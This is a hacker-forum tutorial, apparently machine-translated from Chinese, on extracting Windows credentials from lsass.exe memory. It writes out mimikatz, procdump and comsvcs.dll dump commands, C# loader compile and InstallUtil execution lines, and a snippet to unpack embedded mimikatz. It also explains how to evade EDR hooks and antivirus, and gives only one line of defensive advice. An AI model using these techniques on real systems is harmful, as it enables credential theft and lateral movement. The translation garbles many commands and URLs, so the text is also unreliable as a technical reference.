跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

渗透基金会——从lsass.exe进程导出证书

精选回复

发布于

0x00 前言

本文将结合自己的经验,介绍不同环境下lsass.exe进程派生凭证的方法,并结合利用思路给出一些防御建议。

0x01 简介

本文将介绍以下内容:

从lsass.exe进程导出证书的常用方法

限制上传文件长度时导出凭据的方法

下载文件长度限制时导出凭据的方法

0x02 从lsass.exe进程导出凭据的常用方法

1.使用mimikatz直接导出凭据

使用以下命令直接从lsass.exe进程的内存中导出凭据:

mimikatz.exe日志' privilege:debug ' ' sekurlsa:logon passwords full '退出

通常这种方式会被安全产品拦截。

2.通过lsass.exe进程的dmp文件导出凭据

(1)获得lsass.exe进程的dmp文件

procdump

该命令如下所示:

procdump64.exe-accept EULA-ma lsass.exe lsass . DMP

实施情况

https://github.com/killswitch-GUI/minidump-lib

Powershell实现

https://github . com/powershell mafia/PowerSploit/blob/master/exfiliation/Out-minidump . PS1

# c实施

https://github.com/GhostPack/SharpDump

用comsvcs.dll。

示例参数如下:

rundll32 C:\ windows \ system32 \ com SVCs . dll,MiniDump 808 C:\ test \ lsass . DMP full

注:

comsvcs.dll使用的方法可以参考前面分析文章《MiniDumpWriteDump via COM+ Services DLL》的利用测试。

以上方法原则上都是通过API MiniDumpWriteDump()获取进程的dmp文件

而一些安全产品已经开始拦截这种行为。拦截方法如下:

通过用户模式下的API hook,使用跳转(JMP)命令修改NtReadVirtualMemory()的前5个字节指向另一个内存地址。

绕过思路:

使用正确的命令覆盖修改后的前5个字节或重写NtReadVirtualMemory()

参考资料:

https://medium . com/@ fsx 30/bypass-edrs-memory-protection-introduction-to-hooking-2 efb 21 acfd 6

开源工具:

https://github.com/outflanknl/Dumpert

如果这种方法仍然失败,可以尝试用RPC控制lsass加载SSP,将dll注入到lsass.exe进程中,dll可以实现转储的功能。

用RPC控制lsass加载SSP可以参考XPN开源代码:

https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e

本文分析《Mimikatz中SSP的使用》

要实现通过dll转储的功能,请参考下面的代码:

https://github . com/outblank nl/Dumpert/blob/master/Dumpert-DLL/outblank-Dumpert-DLL/Dumpert . c

(2)从dmp文件导出凭据

成功获取lsass.exe进程的dmp文件后,您可以使用mimikatz导出凭证,命令如下:

mimikatz.exe日志' sekurlsa:minidump lsass . DMP ' ' sekurlsa:logon passwords full '退出

0x03 限制上传文件长度时导出凭据的方法

如果实际测试环境限制了上传文件的长度,下面是我的解决方案:上传。cs文件,在。Net环境默认安装在测试环境中,并使用csc.exe。

为了应对不同的测试环境,所使用的代码应该支持。Net 3.5及以上。

1.使用c#实现的mimikatz直接导出凭据

Casey Smith在c#文件中实现了mimikatz的加载。目前可供参考的代码地址是:

https://github . com/re4 lity/subTee-gits-backups/blob/master/peloader . cs

需要注意的是,此代码包的mimikatz版本是Mimi Katz 2.0 alpha (x64)版本“kiwi en C”(2015年8月17日00: 14: 48)

在此版本中,执行命令sekurlsa:logonpasswords时,导出的结果不完整,默认情况下不能导出哈希。

所以我在此基础上用新版本替换了mimikatz:Mimi Katz 2 . 1 . 1(x64)构建于2018年9月25日15: 08: 14

替换的方法是先对新版mimikatz.exe进行Gzip压缩,然后转换成base64编码,最后修改字符串KatzCompressed中的内容。

生成新字符串KatzCompressed内容的c#代码已经上传到github,地址如下:

https://github . com/3g student/home-of-C-Sharp/blob/master/gzipandbase 64 . cs

它可以由csc.exe编译,并且支持。Net 3.5及以上。

代码执行后,生成的文件base64.txt中的内容将替换字符串KatzCompressed。

PELoader.cs的原始版本不支持。Net3.5,因为它使用。Add(),所以可以替换为支持。Net3.5。

最终修改后的PELoader.cs(升级mimikatz以支持Net3.5)也上传到github,地址如下:

https://github . com/3g student/Homework-of-C-Sharp/blob/master/peloaderofmimikatz . cs

它可以由csc.exe编译,并且支持。Net 3.5及以上。

编译命令:

C:\Windows\Microsoft。NET \ framework 64 \ v 3.5 \ CSC . exe peloaderofmimikatz . cs/unsafe

或者

C:\Windows\Microsoft。NET \ framework 64 \ v 4 . 0 . 30319 \ CSC . exe peloaderofmimikatz . cs/unsafe

用于导出凭据的命令:

PELoaderofMimikatz.exe日志' privilege:debug ' ' sekurlsa:logon passwords full '退出

注:

简单修改后,要执行的命令提前传入程序。您可以使用InstallUtil.exe导出凭据。该命令如下所示:

C:\Windows\Microsoft。NET \ framework 64 \ v 4 . 0 . 30319 \ installutil . exe/log file=/logto console=false/U PELoaderofMimikatzAuto.exe

通过这种方式。cs文件可以上传到目标测试环境,然后使用。Net提供的目标测试环境。

2.使用c#实现的代码获得lsass.exe进程的dmp文件

类似的开源代码还有很多,我在SafetyKatz的基础上做了简单的修改。

修改后的代码已上传至github,地址如下:

https://github . com/3g student/home-of-C-Sharp/blob/master/dump lsass . cs

它可以由csc.exe编译,并且支持。Net 3.5及以上。

代码执行后,在当前路径下生成lsass.exe过程的dmp文件。

获得dmp文件后,您可以在本地下载它,然后使用mimikatz导出凭证。

0x04 限制下载文件长度时导出凭据的方法

如果实际测试环境限制了下载文件的长度(有时lsass.exe过程的dmp文件压缩后有几百MB)

这里最简单的解决方案是重新封装mimikatz(删除不必要的函数以避免被杀死),并在目标测试环境中从lsass.exe过程的dmp文件中导出凭证。

您可以在以下地址查阅SafetyKatz:

https://github.com/GhostPack/SafetyKatz

SafetyKatz对mimikatz进行了两次修改,并封装在一个字符串中,参考了Casey Smith在c#文件中加载mimikatz的方法,实现了以下功能:

获取lsass.exe进程的dmp文件并保存到临时目录。

从dmp文件导出凭据

删除dmp文件

我们可以在SafetyKatz的源代码中添加以下代码来恢复封装的exe

FileStream fs=new FileStream(@ ' C:\ test \ 1 . exe ',FileMode。创建);

fs。写(解包,0,解包。长度);

fs。flush();

fs。close();

可以看到封装的exe是修改后的mimikatz,默认会执行一些命令,如下图所示。

2-1.png

我对SafetyKatz的代码做了一个简单的调整,使其支持。Net 3.5及更高版本。

修改后的代码已上传至github,地址如下:

https://github . com/3g student/home-of-C-Sharp/blob/master/safety Katz . cs

编译命令:

C:\Windows\Microsoft。NET \ framework 64 \ v 3.5 \ CSC . exe safety Katz . cs/unsafe

或者

C:\Windows\Microsoft。NET \ framework 64 \ v 4 . 0 . 30319 \ CSC . exe safety Katz . cs/unsafe

0x05 防御检测

利用的前提是攻击者获得了系统的管理员权限,lsass.exe进程的dmp文件最终会调用NtReadVirtualMemory(),你可以试着监听一下。

0x06 小结

本文介绍了lsass.exe进程在不同环境下导出凭证的方法,并基于利用思路给出了一些防御建议。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。